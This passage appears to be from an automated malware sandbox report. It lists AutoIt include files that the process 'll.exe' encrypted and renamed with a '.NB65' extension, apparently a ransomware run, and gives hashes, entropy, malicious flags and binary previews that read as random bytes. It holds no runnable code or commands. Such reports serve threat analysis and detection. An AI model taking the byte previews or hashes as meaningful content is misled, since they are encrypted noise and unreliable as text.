SHA-512:AB18F2C869075BAA1A7668FF88142B002D26B1FF09616D12A3D910E874F52925F88C6D5D6B1A9D3D0212D4FA6F8F8B44F51A73BBCB55ECDA99F13A532980AFD7
Malicious:true
Preview:.0k...:_Q.E..G.<'.P|...`...'...e........h<........e..Y.......fI..od._:5.)?...E...?..........sZ..?.$.*.Ns.V.....l\../<...t~....kB4}.i...6....k.v.A..izWK......v....A.vv.}...8...v@..*...k}0H...Gq.Y.^R.t.y^.i.#...?U....7..v.<O.FfD.....4.....2[..s..I#e.D].On.....Q...<s.E,e$D.[ ..&q../......[.....Q........}.l.-S.nO..y)..Z.P._..2Z...:..!.V.n.n._...!....@..)_....%j[ny...l....eE.^...!..0.....%Ksw.....`..9".j-.^......{...|......#l...=<De...0......l....I....un.vF...T..........,.....4...{.rv.Hl.....=.F,I..... 3s.#..oA....Z...V.=Bm.U.\.?(.r.I..{l.).O`..&.........{..K..,.<..K.b.bq.6.w....!)8v......u...H.S...gJ.H....gs..>:<W.........X..3.w..b...u@.*ST7.k..;)|[MW....\.F.3...MU.X..l....J...F...GB^..d6.w.._L./...1..0c...CV..<..X...&...R+N,C...r*..n4.d..`....x.. ..9.U.(U......m(..>..q.S......8......(...A<...i...Ck.WO.j.:.....E,b....M..Ar....y.=.o.#.k.....o...Kk..B...5...I.>...L?......`.3.O\.u.v(...\Y.....P.../b.>..[*.s.....}.Q......n.mWR.|........+ .3..U..

C:\Program Files (x86)\autoit3\Include\WinAPIMisc.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):14790
Entropy (8bit):7.985636448134027
Encrypted:false
SSDEEP:
MD5:F84FCE299C2B79A7AA033E8EA1AFD8C0
SHA1:B8075547B2D733EA44DAB1D04D6521B4AF501D12
SHA-256:BD72CC445F92627A6C9FEB126BB95CA1541329FDB5D1F2AFDA7ED28FB5F8A937
SHA-512:9F0F4DDBA96058134B37957A56412E4AB04EEEB93F8103E0B1549978C48464AB7C221500FD3F1A1EA326FAF4F5E70CE7B7654CC8D5AC1DF960BD4A17E7C6BE4C
Malicious:false
Preview:9.H.......t...cs.&....F....%.....rnB<Y..[......yz..8Lo.F...U..[.. Bch.?oSw...Y...e;V.9-2P..{...!5...A..E........E.#..h...}..........x..#....m.8..;.x....3.......q.g.&........U.]79?./.x.V.U=...~-.9h..L..8xP....3.h.:G...\..M2.v%..)...f..N-t.y.......L>...m.K..L.V..u*...R....R....*.._.p..8....\h......c....K..$^.....I...'.....SS.._.g.....k....V+.$.x.Y..+.$...........!2p.....Z..].IV:q/:?..U8.........m...<........mhT.mr.S.E...q.6.o.f6?.%.d.......Z..+..uA....V........Hik.U...[.Mn.2l.....![0D.Z.y9..U.....Q..Y.g$I...U..=..10/.n.......:]a..I...I.0!...M*S..Zii..0...=....t...Yp;..Y.|.#..c.....W..%L....Z..2A/..I.2...2X."{..k6.../..#^D.h.iK.?I...g0v..M....b|......a..;~B.6..D0...b.'@....#....|.!.o.c.3...O....<^....%..@g...._.....t.b.n..i..ep.q.'9...k9.t...`&k..=..o..WPA..g....L...S.:....i.|E.(u/.).[Z.:l:M..>...uA..<.!.w5....#.#....yU....~..7b.G/..iI.n.w..$21.$.F......w.$.{.r.....%q..Z.PfD."O.u.W.k....@V...0(~.8.P8..v.....@i....{...).rMiJ.M.a.^

C:\Program Files (x86)\autoit3\Include\WinAPIProc.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):76854
Entropy (8bit):7.9973716288120125
Encrypted:true
SSDEEP:
MD5:459D22E547F3DAFFAC2809DB2B2418A0
SHA1:9579E50B183811D7082DC6C796E93325C726B3B6
SHA-256:2A6EE9C0A5F968CF662CA5CBF37790B9CD2D622932024D6C7F3171337E8E99EC
SHA-512:136380462F68386BEB8773F7800618995ECD70018F2B4AFA4531F06E92E6A8D77A7D79E342263FC08C52B062A34633309AD03BAE2CCC0CEE5B5DF8DF5027450D
Malicious:true
Preview:oN..`.....8...._.J...C.....w[3....sMwV.h...B. \.f)./?-6.....@..n../.C...^.....!W&F..p@...z..n...S...N.>W.*.'....}L.wN....CY.B.%2...YL..N.dx@....~.P.#..D<lW........E.mk.m..>.,..|.U_....-7..._.N.......P..;%..`..E:.HSE....%%c....+,.....9.......s....dB/2/E....l0b(.t=..l.u..B.:..2.......|d.0..../!..%.}Z|...2....Mu"h..jV.d~..yd.C..\8G..,....q]Y.d.Qg........w.j1#.].T...^..0..v.y.(.......SF.D.G1l..a.....$c).;yf.......r.,E....=...z.k..\.I)"..H>{..9.....1....r$.....U....)`....k.|_B.MFl.HB...6.........dW:.n....O......K...;.._d$..f.(........'1..q.......(.|.Y...5#G.O.,1o.."....;...}..E.?W.0P..S...O..]..3G.....#2.......b......)....^.2...k........o.!D.up>.S.1. ...#{...z...&..So.;.je.sM._...- ...~.s...@k.[...t....V. ..V8..;.5 ...SQ'.-.*t."..!.o.A..t..0...u...o...8......v#..S..7y..p. ....&;l..7.Q...M..)/.kc.>....;.....<.XR..ku..MTh...X+.E!...i8y..EvJs&..6.1.....Y...8.`.x.=l..Tm.'4.......62..sx.....p0...$...i.....W*.:.%...4.....t+...&q...7....L9B..

C:\Program Files (x86)\autoit3\Include\WinAPIReg.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):32457
Entropy (8bit):7.9948535372019345
Encrypted:true
SSDEEP:
MD5:49354FEDFAF97F70CF888355DC884E7F
SHA1:349B15BC916F210FC544BFA913AB0415B20B98D0
SHA-256:93C8E7B7EB3882470357D9141CD6AA3AD9E1FEE1E5E90815852BBCBF033E985D
SHA-512:C28A4DCD827A26D55FD7C256828339A8C1B2A63F2D3D8B55AA4E96B669C89DA518F87CE6E4C1126BCA4B487CB663F8F0F153C7BF206E8DCAD8C2E3977ACB294C
Malicious:true
Preview:..,.:.u...Sf...yh.....F.=.....|.x..6YY..Lr.og.......Z'-~..9......bN..T|.G:.$Y..."..d.l(p..Y5K.*...)31Y.W..9.e..}..c...Z...W.(d..FKI.|...Me.....hN..]|.(;.*.=.g.SUY..:..m.3.gz.O.k.=Qs.=&..6......'..xS..v[..@.l...."...6...L..C./5i.....0....Qx-.......P.n...U^..]tE6.H....)..w.q.*49I.`...I..............P@....B{....QJ..v.|....t...."-./:P.....;.v...N.bGq..,........F...cP....3....c.....s8N..U.e.52.....=...._.......&....O.ul......v.s;........)..y..z~..*......Af.A..?....ZH.r..0.rn.U...c..!......u|{.{..W6..e..x..D.c&...<h..c<....]g.....v.{|........."..bxw.V..X..8.....*..^^q...(.dF...q......_B..ru.&....].a.....r......... .T...W.Q4{.[r+.....bz...T.....h,.-..i'E#...i....o.1....s,..(._.?..-.C..)H............6.8.`.Q..w[f.@.B.gFm.U^.j.x7.:.N.C....>.`Yd.-.{~O.....'..l.*..'... h...>.be.......;]......G.u..A...g.X...1.....6g"..1.V.,.ekn\.H....@..`..~.+.>GQm.6.Q^..Y.....fU..d....p'....(.;G..J.7.*..e...2..7.q....B-V.......*..e)-).)....'..0<.....51.....W.

C:\Program Files (x86)\autoit3\Include\WinAPIRes.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):38502
Entropy (8bit):7.995525582929296
Encrypted:true
SSDEEP:
MD5:B7E5AE0CFB13E0195253ADE323E5877E
SHA1:2468497C7EB561A5C24FBF76B1597AB364ECFF86
SHA-256:B0BCD39DAC2A416C4D0F310A5CB53F85ECCBD82EC189566BC2F47A525A50D601
SHA-512:97639AA0734E62FABB4FF7E08AA7A175588581A15A1C246B0DDED5E2B6207A5586EEEA1D6A2F56F92E0CD9CC18B9D80327819BD720009EB7BA97CC558615FA44
Malicious:true
Preview:..{...uy6G..2....Q..8....pw..Y..Y:..-...gM.....=.......v...~..QoUA?cm.41...gS..&..ma.:.C.]9f\p..E...<.=...../..gC..\.%4y...%........zf.;...<.m...\2..[..}..4...(..,.4..o....*.i...N.+i...e.=.t...U...mq.'@p..]..."..8.h2.5..uq+EG......... ...v..F.r<#.K.SgD../......D.....6...d..u.W....K........e.w..?..5....o.;7..DV9..>.Ny....V?.z...5cx.(.y&].1r.......^.`.@[J.\.O"<..nGa..{}C..7T.`....x..U.....l.......DiDw.?..*..?c....<.......a.?S.L...v....P..Jc'.....d...iG....Tv,.M...s.M.j..+.D&.Nq..L..]..T6[...AT.G.....J......tv.......`.q...'.B....._.k..K..pD.R.t...B..?.....)..%Y..?N.....]..gD.u)[Y6.%..>H....../.-.)_.k;..8]V...o.....>....u*.6eD(/6n.(H.D...C.[..au.r5...;.<.|.6....3l.VM.P......L|....D]... .d.Q....L...#4...%.zKR..m1/>.....C..q..G.u.....'A....,.u?.W.5.d.i.......ZS......xdfTqs..K..T.6.......Pg....g.F.".c..|....C...U4..5Cxu...;%.: ..g......EtX....T...O..?.<.pj.7..wK..S....7..{.}.TS.......(.|.;....KL.M.......~..6..O....:. [.F.qXi.a

C:\Program Files (x86)\autoit3\Include\WinAPIShPath.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):44981
Entropy (8bit):7.995751425805697
Encrypted:true
SSDEEP:
MD5:415CE331C8E79FDBF3D2DB5CE4DE5CD9
SHA1:AEFE5E30A9B8A89EC514CF21EB998FA6A477E2A8
SHA-256:FD47B169B9926FB69EB866F0FC2859022F08B5804B8ABAC36E317E11433792AF
SHA-512:2B8BAB38B00D48DAD2F25A6734FD1F3E2CE61D9283C924E5C9BD3837B55A92666F1FC0A350BFD948EF7804247554D1FFBF801123F5E87602796BE31AE721F754
Malicious:true
Preview:d.. ..@..wI.g%.W.X.},..-j.n..o.,.DL1r([.?r.......[.J.RQ....F,..*.N.9_...z..5.S.[..d..+@...:J..!...Z..o.a..~..=Z..]'....0.k&..B.QC/'g.....T.l....\b..>5.(...Y.....Q..2....."....5..K....a.*..7....0t.^......j..EBwt3.a.o^..k.A.*..U.R.......|......{V.%B.c!...D...jW........4$.].T..-.j~.U..x(Ay..l..W....(...........Jo....d{..FR.m.?.C...h./odo|...T.G...v...i.."}.d.V..WV..n......c...=..GJY......_.l.3._(...z.D....:z....sT..A<|s ......S..b...<.3..C.`.'W.8.,..8`Q......^.nU...j..Y.J....d.~...l..D`.-...!?keD.Q.X...F..b...%......;r...F3...H....:dsa..*.T...{*....r@......r=[aA..Jr.....GHA..&.b.B.1..{.^....N.{Bb....&.uyAH... .i...Xf.\r...V.n.V.2u=.ZI.r...G...b....V.6G...>.wi.........T...<....$....`...s......t...;...R....s.~y5E..h\..q."..#I......?.3....=T.W..:...~../.N..o.r.Y<..\..b?Vn..$..g...t...V.../U...J...yA.><;.\h.....%q.=..bG.@F.[......n.|N...A.....'..CJ]y........@I..Z`f.&5.d]...].T...V..[.....O}1...M..iD...:...__......!.k.nEk.....jt.$.

C:\Program Files (x86)\autoit3\Include\WinAPIShellEx.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):43204
Entropy (8bit):7.995598927241313
Encrypted:true
SSDEEP:
MD5:F409554A94CDFA14C62CC364D12FEE0B
SHA1:643937A2FFFCE582ADB9A6919431B01799ECEBA3
SHA-256:BE54841815211CFBEA19D4B2C61C4C321F13F40149C865DEC812210EB7B09D0A
SHA-512:06364BDB17ABE2ED6DAF45D4676C6119B3E712AD4E6F7C23209D772287952E8C85D13846ED8B4EB46FF2D41DD6A4D9D3654606D2FF92832632A84DB7265F1E13
Malicious:true
Preview:*..S.<..F....I..)BHK.lO..F.){.A..I..m.i,..^7L7...:\......B:k..1j....}q.J\.z.........ej..j.....Hy.].+.p..:GAcHH...........Fq ...W.G...m.....k;n.....`cPI..x5....h8|BP....ab.k.=...#9....B...rY..'....0.,...Lq.x..Y......3........zI4.....#I.....=6...oC..e..d...@...IX.H..dX..l..C.....O().^V...L.#/3.h.N...R.O...0\...[.t. ......6.m..<.........v..........K..q.O.......*.4.$F.~......V..KX..f.......w..dr.Z............CF..dX5.....&FU..0.....'....|y%..Vq.....H.L:..l|D..........!...`.........P.n..L..n'..=.je.....XpBz......).</ui2;.....!Yt8...[..........#...G.D. .,....~.^.C...X."a"....B.E2.G.T;K$Z.0..jq^..A..v.....&y....Z_........#......JM....d..Y..U.....$.a.CM._.3..ry2...8><..m...\z`.X9H`P....f.....@mN.o..V.'...P<r.Z....I.........tqrp.Y~~. 7X.`)S..~F...\4.J..4b".3.7.u.t}...S6..\....B.T.1eeQ%.u.......<..n..gM]$...h|"H...o...9.....$.3.%.......X.<8...O...4n.....Fz...?.X.y..m6..?6.n.6....Z.`....L.Z6..@........}...:..M...~.#....9{I...?8..G.......?.IwF*..;...%O.@.

C:\Program Files (x86)\autoit3\Include\WinAPISys.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):78217
Entropy (8bit):7.997629675535789
Encrypted:true
SSDEEP:
MD5:11D4BA2E2312596DB250D82D40351F23
SHA1:8CC2732880321F4CD05B48EDF60FB07A14EF6F20
SHA-256:47CAA8435CE7AAEAA06AA111E24F27CE301B1C3E3F92F482AA2BF295F2A20F8D
SHA-512:94F579F5582723213616DC2494409D1E65E5A4375390B1934525237F5BEE0CB9CF969DCEE7B46D02E63BF0ABC3DE2F30885B6BBAD476401C2B67AF1471B84B07
Malicious:true
Preview:...:w.U.*..p.Bcd.`......t.q9.Z=....D....k.17.....vv...:...2!tV........@....3.K..1M..:..KO....d.....*..`...D1.1.(Zn*...).")...zd.,..=..BU....0N.bG....`1C...e..C.V|..b..mr.....}..[...*=.P....W._.7.]...-..>=%k).....?..#9ez>V...G.Q.a.^......FsJr....G.(...d..Y..Kq[d..s...1C...A.G..V.`..L.....u.Jpq....=.... .|.%O\&]....|...`].....f....t..9!.J.w.s..?A,....rM3.dA.x....^.._?^..Q..!..l.DB...KW..@`N9.C";.".m..W.8..L.Ay.....c.W.wo..Ds..D.*(@.....88A...!a8_.0.9.m.[....:e..1......mT.bE..*g*.b....+.`.......;.....;.&.|.....o....}.B>.C.......78K...d(O..G.?A.TEy.'%.....%..../%\.'m).o""......JV...>X.t.....*.(....._w6........./on..kw.T.......J..A,...7....$...z.H.K....^.`.Y....O5jQ9.I.=.0W:.(O-W5( ..........`V". ...3........W.9.....tb.....\....U..U.(..,R.`..;...7.......KP.P.V.......Y.....R.[sh.KH.&.L..*QA4F..#.f}A.M8"..'.>..b.....Nk;;w...d&8.N....].......o..k.+.......~.......QV.C..#..IXV|..x.1..MN.A..h%....}..+....&....U1...1..4../.....C......... ,.lW&

C:\Program Files (x86)\autoit3\Include\WinAPISysInternals.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):28665
Entropy (8bit):7.992452853330523
Encrypted:true
SSDEEP:
MD5:A2CE17C9D14CA45C9C10EF0041E5AB3B
SHA1:B832B968F452C549C40B21100ADF8F93D91D7FBE
SHA-256:0302EB22FD488944B09F4E0492D1A9B729F788E92EE554D6A7C4FBBA0224C3D9
SHA-512:DF837D2D5EF19A9D2A93D264880DDA5FA3DCE1C9455E06D81789D539F4FBE38894C239559053DDCB055925DD719A189EEBF7FE02D4833B74D435D165DD74A725
Malicious:true
Preview:..?....:....m.B...L.Aa......".p....m....G..'7...O$.H4JBr"<.,p*.rxf-cd..$.B...8.h..zo..-..b.+.Glb+1`a....$o.t[......rI...U.Ul....Ys.'..B....\..Nn...X......c.@...._R...rZ..Q.....me,!........`v|..?0..z.v.`W.....Dd.P.....O.....QG>..y.Bag....G~...7VLq..jc.m...M._)..........T.,..A.......#........G.^UC...0.3UpOH.P.~.8.....3.5.W..e.....c..*.......&Q.. ....C:3e.....I...A..7<.W.|..p..e.K..Z)..:.p*...Q.....W&.w.=.'..^1.K.....xk...ru....<;F.P.zc..2....?.6.q.... .s......J.p.c....#|:8~....I.Q....8...].K.D.....Zd...>e."#..D).N..y$...i.........UXN.dE.u..=.Q.'z:3.s.d.2s..E..)...o..o:/..O'........+.L.t.;.Vd.A.+..?.rx|.;.......b..o,f..u"y.i..8....."...b7{..Z........!.>.F.|.....X......(..S7!..3D..?.*.]IS!=(.X...=.kV...?....'.L...)..b(&.......r...Y2..:..JdD|d........#....S.(...Yw..r.<(.W./rt.J$;..X,......c...r........].X$.k..X..n.......`(...4..2.e...%h.....8.F....x....g....|.k.......6...v...........lU.X/.{.5..%BZ#...'....b.l....*.n...K....6l.&

C:\Program Files (x86)\autoit3\Include\WinAPISysWin.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):58755
Entropy (8bit):7.996721761034301
Encrypted:true
SSDEEP:
MD5:541F37A6B30E818F265C719E4B1666D3
SHA1:E3B4B6D6F632FADBECEF118B20A561C5CBE75402
SHA-256:367EF8AB15964855CE4E4842458B0E4FDA1C392A3C073BCF68A599F40C5BF64E
SHA-512:DEB3E3C9426159F3EB8C01CBA26A912DCAF48AABA13AE1DCDC0BA0A6B9F11E7340095C81FA606CBA657A4599E7D6BFB67165E9B2C71B6C071DE3DEAC3EA1A976
Malicious:true
Preview:[..V.|.*);...=f.....f.".Xk<.!5.....I..pN..........R.+Y=.Ln(........:(...n..........."...ed..'..4.0.P.....wL...H.5].(.f[..i..;....(.L....&.C[=D.y..ej ..l...!<...K.#.|]OVB."[..E.Ux.Q.C..o.,.j.q_.m.1<..!si.m..*~...g....d<Pdi..-w..s.}.(......4....rX..2........Vhq..]5...5....z.....].U.....;.n.EbEJT':...r...l2.5#....j.>.&..F.^i...[.c.....G.....p( ......g...=.PQ..&?.h).i...,..a.....&fc'.........v.]=.+..O.....cY.F=..B....j.b.4.d.u.G..$.Z_.f..C:..iuv..}=.R..K.....NU..X.g...d.0.....!|.......+..Kj`Y.i...!ng...1.q&.H.5......A..5..X.&2.d1..\.A.tu.dk|..2|I..=n$....[..Q.S.z..%.!38C}'.....H..Y..[.....un..*...:..n.........Ka.......+$.....P.s.xR.7....-p...AP3..x..a)Qz...x..T.vxN....V......<..D....@&]:..U.h....5ne"a.^.w..O.W.X.6.ty...za..x]..RM...... _<....F...<.g.-W>2'...H...%.Ch.........'....n...K.5..J..#........L...QI.?6z.C...V..I..)Sa.h..;.}.l..J..B..k.]...c.L..F....`......r...'L3.]...R/zt.~..n...(.S.m.....(Dc.G0...8/.!.....i.N_6... .G.$.'....f.......z9J

C:\Program Files (x86)\autoit3\Include\WinAPITheme.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):42039
Entropy (8bit):7.995617242686889
Encrypted:true
SSDEEP:
MD5:CF16DCCFA327565B7A1523381C0CC8E0
SHA1:1F2073A94522812B03C4541494809A4F4D84AC50
SHA-256:AA31DA3FC7E64737DB417CFCFB7CDE0593C7A3A54262CBAFE3F5E783DD131DFC
SHA-512:C486FD602731E86A5DB5FD8EA6318EA5CDCC282266809ACC28BE664DC8D71985EC916999CDEBF813A8B4D110A5FCF804B7457D1FF0667C50D8901D9DBDF7E138
Malicious:true
Preview:../.MK.L.. ..5.h.."..........U.#....p..[r..Q...F...3,L.ig$...j..../....[....E.>?=...fB..n..T`\.[=.T..".g..ky.PV.P..b.j.D ...M...P._.y.+..i.3.5.1.......oq.i..[..K.h...Z0.6y_.H..%....Fg...:.X"U].._..Y;(........Mg.....T.s.w......RA1.E...>Q.l...S;......tY...f...:.",.I.G...]"....0...b.qp.... .......#..{....>vt:...H../........;DF.&*?.@......"*+.nqK.6.i.k..}.`.i.f#O.B.H.......w+..=..<..T..A...S.pk.6.y.q...+..s\... 'j.).}8.-.(..olb"..<...9...^.....|.............Ta..yN..x'C.~9;..t..1.K_6......!3;>.;.?Cl......Xl.....v...:.r.P.$...e..m.si<..;k6.8.||Z..........?.I....OP...7Q..a@..FX....L.3.yd.CN..,....m.&<J..W.....%#....DI.,9.U...L..$.P..k..A....*..r....-.>....6EB.dB.h.h...<.."....hs.F...d?2....-9...*^.6.f..P.|.:..a.ny.....1a..R.j..S..........l.. ....#...."...(..U.A.{`/)..V..#..y......x..3.u.J.*3..e.L.B.i'Wu]....R..#...qD..z.....>...ew1Z..(.q.Z.M.....}F./U.W+.C..;`...3.@t..v..b.IU..oB..#...2.~B.w...1.c..M..4ru.u...+..Q..c....... .....

C:\Program Files (x86)\autoit3\Include\WinAPIlangConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):8851
Entropy (8bit):7.978009626500231
Encrypted:false
SSDEEP:
MD5:E0AE4C0FA77F32C6A5421F992AA0B8CC
SHA1:8777EB9FBBE737D4297E279CB9CCA61A97BA6419
SHA-256:BEB83A8F38EACDAC2484A52404CF2C2BFA6D93B1ABAF3CD15AF78225771DC923
SHA-512:34CCE516BE55C96B7BBC1E33D9AD147A23EE648AE6C8FB239FD658FE6E90061AF633C4100B66A529A916599A799F114E99C2D6D9131BFDC052D072BFD5DADAAF
Malicious:false
Preview:.n.$W..c+.....n..\...?..g..{b.3$...*O-z.~.u&.t....s.....k..8_.$<.h..:...:.4 .\;.(S..?".. G. ....Q..O....YU.5..Q....G..!G..T2...~.|:7:_)c.X....$.C.W...at..A.w........$L.}..+..w.........B....wU....O.-]@.(...e.fv.:...9....$..@>.-V.7.M0.0...}P}...l.....=Nr.0.#$X$/bZx...2.M...J.....W.0.B..?.+.....:.}......:.x..}C.'y.*d...I.P..K^..$......8 .3.....<.Rq......;...=.a.O~.m...(...|..$G[*..x...MD.K...@E}..0.l.L.<..f.a.s....d.%...n#a.\f>z=...]_ ...3.mQ+..I....D...u....>..j.".C!)...PLv........8..Lq.4p?Fh.9(F..-.*..M.C./.?..*.........L.{) 1Y..0]..@.vU.odI.......Y.^$3.).....RqcRq.qZOf...I.....<....D...@..U........@I7..2P..5S.g.Hq@:...;..)....?....%F2...hg..5....c,.v...q...q.....%.:... ....^`...k....ZB~..$..........F.....g....yn].......EW.......NO.3Z.HI...O...}........X3.m...}.....K=..ES9.A..b.......6...}..?.|.....o.....j/.?m/.. Du.....7TH..f.....C.R_.~z..I;.b5.....-N..}....U..o.7.....5oA....7'1...a..FoA...f..q./..F..j2^-....;.{.|..]...2H....~N.D=Pp.+...2.Io

C:\Program Files (x86)\autoit3\Include\WinAPIsysinfoConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):9552
Entropy (8bit):7.979371941609931
Encrypted:false
SSDEEP:
MD5:ADD5E953A13BE1997E52951EF88AA3E5
SHA1:6CE7D66F12362C25FB16A30C8FC4CBC3E41A49BB
SHA-256:6C5AF391D78A54CF11A5D434D96683DF1F612A91E2FB2C66EE6F14A56D5C7924
SHA-512:924ABFD09799489ABEFDA7398B662E1238CA77AE9A2DFAF9E0C4F0CC3CD823834F119569F062A25A5CB37DAE3DDAB2454795FB40CA863E6F28CD2B064106A460
Malicious:false
Preview:&.....@.............Z..f&..n....,|9.t..O...si.gx".3.c.q. ....<'U;...)~.%<....J........-...& d..e.....V...7............IE#&..I.%.{S..~P..<#w..mZ....".5.2...a.Gy...>.3.-Ql.*......_r..].!Q.H....i.r.j%..S...\.`".....|.....FZ..(..sa.#....a.!...^.U..72d..A..~..Z.x.U].>......p.'.E.+.A....".c:m.....b.iQDT-..8.j..kb.X.....W!......q.....RqD.0..UI@..UkN.M.....U.g...q.'.zf.Lfn....".FmY.,..eu.1...JB...H..n.93.....Sv..|.w0.8R}.2.%.qSn..K..M3Q...UE_b?.....-2.r......L8i.w..xL..y......yR}h.N...y.[..\[g.....v.c8...O$.%..!.....U...).....e~.y......._.g......$.U6..7P......p{.M....%.H...4`"..q.zq).h.`.=...7.Go.V.J...O..,..: ...... ...A..e&E*.B....."X..j..o.....*.U..!....].%...h.....<..p.o#..f/i.a.[...E.o..mo>...8..a.K...Z..n......y.E[.]v.o..V...._..3"...Z."Cp.~n.(GF...?e...Mv...%.5...&w...{m.=.W.M..26...6k....T.......`est...N....t*_..O<..rNo..o... .".X..!...k4l.+%.]._,DT..R.K.y...UY......"....#....)qZ{..Y......u.&ekGx..iC.<}G.gbb.s.;...8pJ.&.QP........a.......W@..)...T

C:\Program Files (x86)\autoit3\Include\WinAPIvkeysConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):6793
Entropy (8bit):7.978255064742617
Encrypted:false
SSDEEP:
MD5:9D51FA907616154672A8622EC38E4513
SHA1:1B752842C60A6CF37E820C03952DDA99A4EAF3EF
SHA-256:6F547048780A32FE8FDBB048FD78E4EF803BD008EA5679725140707EA499EE59
SHA-512:583CD9B498631C9CB8A6837FA833F402FA913C2004E4C12CF8B237ECEC6A41E72813EFAD642905F1FFC9E8E4E76D9865C5C5A316E8DACC6292AE679C38E40FD4
Malicious:false
Preview:R.S.....Vk.I=.B..\]...}../......z..7....<.v.Fr.n...w..w(..IG.o........&...)\.V"-..pw......GJ..,....U.....=.X..a!....B......&.v.n.1..R;.8.BIK.=.%.p]...b..,.P8E\.Mb~%....,./.GM...[...:..W............t......=.T..Sv..#I/......f.cZ.....Y.2.....e...P..@.......>.....U*.J.... .Ov....bY......|..u..x...."]<K...R.t.j3....4.'......n..['..cod.....&..u.4...e+.$r.).fu.;...+.b&R....l......~0.(........6.JT......Q../`.....#.-.zs....V.....Y..5O.Auy3VJ{...0...U(<..i.V")J.-.mh.._lS..Z.Jq..D.C...t.^X4..Mw..]A~.B5.y.....CiZ.f.Gd....L.K.........:w...,(.O..f& L.:c..`........{D.B..........;q-..B~_U.[..0..W...o!...Wy..]...d...?%xN.S..........G...].........^E...,..f..KI..9..f.|k.U..<h.....L:.VhO!..c.^V.......cC.+"...T<?f...J..aS...>S<....b.....nK.k.y.c....D......Zh.GQ.^:DDS<R6.....J..&....t...vW.A&.\LCyI...........R.{+6Dt.B....H..[.sZ.. ..3.c,....2...h..J..Q....Q6.Zq..{....<.}.*..&......M.).r..Lm'.O..]..B.y..e.{.....n._c.......=.b.c..v......Y..]..q....F..[n....

C:\Program Files (x86)\autoit3\Include\WinNet.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):46774
Entropy (8bit):7.99543409819069
Encrypted:true
SSDEEP:
MD5:C70B4A2BF95644487C4F73E4A6A61954
SHA1:CEDDEF875070595B179717BA182545BB99466A68
SHA-256:8563243CA219345F2B25F2887B2D319107778F84486F3E10B1C37AF61EF1D31E
SHA-512:2E2C6E639576B7C4CDFCC0BCF55DFDF7176C6497CADE3BAA9AA3A9E9611B9FA2F051C94A082AE7B9ADBF34D2EADE45DCD4EA44E36B0436853A859A54C510FA25
Malicious:true
Preview:..w.$:.N.6...g..bi..E..z.F..p[......M....).p=..C.t.?...k....9S>..>_......:.r....~.;......u..(f.=..j.N..O.....on....K......#.w.q.<p.Y.S..yD.n.A*....._;..mL..S.....j.....u...n?=..|e.J.....[.......?...F"3.7..Qx...,5.X..v.Q......K..].HX...sEy.\.=g..t..."X..3e.m....(..u..... ......7r...2....!-~.....=:.kvZ7o^.Q.].5.Tc..;R..s.8...> )X.|[~u.|....5~6P.M...eH.5..M.v]...@...ER(.........s.K.U.......(5 .L=....U\.......gFB.....u_s.....R.#`lh.;qZ..\.l.0.>.$[...L.q..m..=.,E0.h.4p!..(.nQy".+.J2!...].J....}.vd..j..E.y.l..sD.B=H.<.U%N.l......q..Pz.[3.h>.|....Cy...{zH+....m..Y.=....:.E7,..m...m.y..9.....'.....].N..D.jwr.8......?.`.M...{4]`.e..=..g_..U.m$[}u.v;.....H.1....*.(.h.g.+.:..<dc........X...F.....#.4.7...S.8....@k.6[..xN.7d%;.#.<l.*.......K...W....\^..\.9.3LC..)?.k..Z..-.y.ot......yU-..j.'G.....8.a.r.r.^,...k..JT..Up..N..%/.q..V.........]...T....."=.^..6......A#.;CC.r#.O..`].S.[.....aP...T..R.+..x.UA.T.W....L*=..^....Y~{..*O.....d.b

C:\Program Files (x86)\autoit3\Include\WindowsConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):33944
Entropy (8bit):7.994142869440447
Encrypted:true
SSDEEP:
MD5:A400F7483836E767A0026EE4C7DC0DE8
SHA1:FABED0338558B9853D53C4FD7EBAA41B288297B7
SHA-256:B541FCABBD9B35E611C77A9CA28F43A6BCD644D5547C6C4FBADAAF69A8ADF21B
SHA-512:567EBA42BF734C067D69F4431D111E23DE370065FE0EFE11DAB708CE0F0B9DA53AFF15383FC6B783423C0AAE28BC1AF6301D7DA7A2CC74253B2B6679D5397CAE
Malicious:true
